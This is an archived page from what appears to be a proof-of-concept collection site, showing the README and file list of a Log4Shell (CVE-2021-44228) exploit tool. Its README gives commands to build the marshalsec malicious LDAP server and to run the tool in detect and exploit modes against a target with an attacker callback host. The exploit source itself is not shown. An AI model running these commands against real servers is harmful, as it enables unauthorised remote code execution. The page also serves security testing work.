Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-44228 PoC — Apache Log4j 代码问题漏洞

Source
Associated Vulnerability
Title:Apache Log4j 代码问题漏洞 (CVE-2021-44228)
Description:Apache Log4j是美国阿帕奇(Apache)基金会的一款基于Java的开源日志记录工具。 Apache Log4J 存在代码问题漏洞,攻击者可设计一个数据请求发送给使用 Apache Log4j工具的服务器,当该请求被打印成日志时就会触发远程代码执行。
Description
Log4Shell CVE-2021-44228 PoC 
Readme
# Log4Shell 
(CVE-2021-44228)

# ☠️ Log4Shell PoC (CVE-2021-44228)

Exploit de prueba para la vulnerabilidad crítica **Log4Shell** en Apache Log4j ≤ 2.14.1, que permite ejecución remota de código mediante inyecciones JNDI.

> ⚠️ **Este PoC es solo para fines educativos y pruebas controladas en entornos autorizados.** No lo utilices contra sistemas sin permiso expreso.

---

## Requisitos

- Python 3.x
- Java 8 o superior
- [`marshalsec`](https://github.com/mbechler/marshalsec) (para el servidor LDAP malicioso)
- Servidor HTTP (por ejemplo, `python3 -m http.server`)
- Docker (opcional para entorno vulnerable)

---

## Entorno de prueba local (opcional con Docker)

1. Ejecuta la app vulnerable:
   ```bash
   docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
     ```

2.	Accede a: http://localhost:8080
```bash
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
```

---

## Uso
### Modo detección pasiva:
```bash
python3 main.py -u http://target.com -i burp.collab.net -m detect
```

### Modo intrusivo (requiere Exploit.class en tu HTTP):
```bash
python3 main.py -u http://target.com -i 192.168.0.100:1389 -m exploit
```
---

File Snapshot

[4.0K] /data/pocs/0acbedaaeaeef281c52f0713e86a6fe1dd823c22 ├── [ 288] Exploit.java ├── [3.2K] main.py ├── [1.2K] README.md └── [ 17] requirements.txt 0 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.